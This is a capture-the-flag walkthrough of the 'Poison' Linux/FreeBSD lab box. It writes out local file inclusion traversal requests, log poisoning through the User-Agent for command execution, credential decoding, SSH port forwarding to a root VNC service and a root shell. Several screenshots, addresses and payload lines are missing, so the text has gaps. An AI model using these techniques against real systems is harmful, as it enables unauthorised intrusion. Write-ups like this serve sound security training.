Poison is an easy Linux box that can be exploited by abusing the Local File Inclusion present on the home page of the web server. From here it’s possible to access a backup of a password file which comes with a subtle hint how to decode it. This will provide you with a lower-privileged SSH shell from where you will see a secret zip folder. After enumerating the running processes you will identify a tightvnc process running as root that can only be accessed from localhost. By using a Port Forward, this can be abused with SSH and in combination with the secret from the zip folder this will provide a root shell.


Nmap discovered the following open ports and services:

nmap -sC -sV -oN fullscan -Pn

22/tcp open  ssh
80/tcp open  http

When navigating to HTTP, the following page was shown:

When supplying any of the displayed files, a suspicious request was made to:


It was attempted to test for LFI by entering the following page:
This was successful and the passwd file was retrieved. Based on the name of the machine it was relatively obvious that it might be possible to perform log poisoning. For that to work, you need to find the correct log file. Search specifically where these are stored for FreeBSD. The following file was discovered:
GET /browse.php?file=../../../../../../../var/log/httpd-access.log
It is possible to request any page on the website and perform the log poisoning through the user-agent. The following request was issued:

GET / HTTP/1.1

Afterwards the following request was issued to see if the log poisoning worked:

GET /browse.php?file=../../../../../../var/log/httpd-access.log&c=ls HTTP/1.1

Indeed, this worked: - - [11/Feb/2021:20:28:04 +0100] "GET /browse.php?file=../../../../../../var/log/httpd-access.log HTTP/1.1" 200 3448 "" "Mozilla/5.0 browse.php

The home directory contained an interesting file named pwdbackup.txt! This can be retrieved through the browser at: It will show the following:

As illustrated, it contains a hint that the password is encoded at least 13 times. By looking at the string it is Base64-encoding since it ends with a =. CyberChef was used to quickly decode this 13 times:

A password was found and potentially a username too. Let’s verify this with the obtained command execution:

GET /browse.php?file=../../../../../../var/log/httpd-access.log&c=ls+/home HTTP/1.1

Response was as follows: - - [11/Feb/2021:20:31:33 +0100] "GET / HTTP/1.1" 200 289 "-" "charix

Indeed, a user named Charix exists on the system. Let’s use SSH with the obtained credentials. This will provide a shell as \Charix.

Privilege Escalation

The home directory of Charix contains a file named This seemed very suspicious so I transferred it over to my localhost with scp as shown below:
scp charix@ /home/jeroen/
It can be unzipped by supplying the passwd with the following command:
This is a bit of an odd file when looking at it:

file secret
secret: Non-ISO extended-ASCII text, with no line terminators

cat secret

No root password was discovered so continued with the regular enumeration by executing linpeas. Linpeas found a tightvnc process running as root:
root 614 0.0 0.7 23620 7424 v0- I 21:56 0:00.05 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -a
This is highly suspicious as this is normally not running. Let’s see if we can access this service since they did not pop up with the initial Nmap scans:

charix@Poison:~ % netstat -aln
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address                                 Foreign Address                               (state)
tcp4       0      0                                  *.*                                           LISTEN
tcp4       0      0 *.80                                          *.*                                           LISTEN
tcp6       0      0 *.80                                          *.*                                           LISTEN
tcp4       0      0 *.22                                          *.*                                           LISTEN
tcp6       0      0 *.22                                          *.*                                           LISTEN
tcp4       0      0                                *.*                                           LISTEN
tcp4       0      0                                *.*                                           LISTEN

Port 5800-5901 are both for the VNC-protocol. To connect locally with these ports, a port forward can be setup with SSH. The following command was used in order to tunnel the traffic from our localhost port 5901 to the victim’s port 5901:
ssh -L 5901:localhost:5901
After doing so, xtightvncviewer (linux) can be used to communicate with the service by supplying localhost:5901:

xtightvncviewer localhost:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication

However, it asks for a password. By going back to your notes, you will remember that secret file. It didn’t quite contain a plaintext password but maybe it can be used here. According to the documentation you can provide a password file:

xtightvncviewer | grep -i passwd
       -passwd passwd-file
              File  from  which  to get the password (as generated by the vncpasswd(1) program). This option affects
              Equivalent of -passwd option.
       vncserver(1), Xvnc(1), vncpasswd(1), vncconnect(1), ssh(1)

The following command was executed to provide a root shell with the victim:
xtightvncviewer localhost:5901 -passwd secret
This provides a root shell as shown below:

From here its a bit difficult to copy over the text from the root file. However, since you have a root shell you can simply modify the passwd and open a SSH shell as root with the new password or you can copy over the file and change the permissions like so:

Afterwards, you can simply cat the file from Charix’s home directory:

charix@Poison:~ % cat root.txt 


I really enjoyed this box. It was very easy and quite straightforward but it had a nice privesc that I hadn’t encountered before and it also shows you to properly go over the output from linpeas and that you should always double check the processes running as root. I hope you enjoyed this writeup!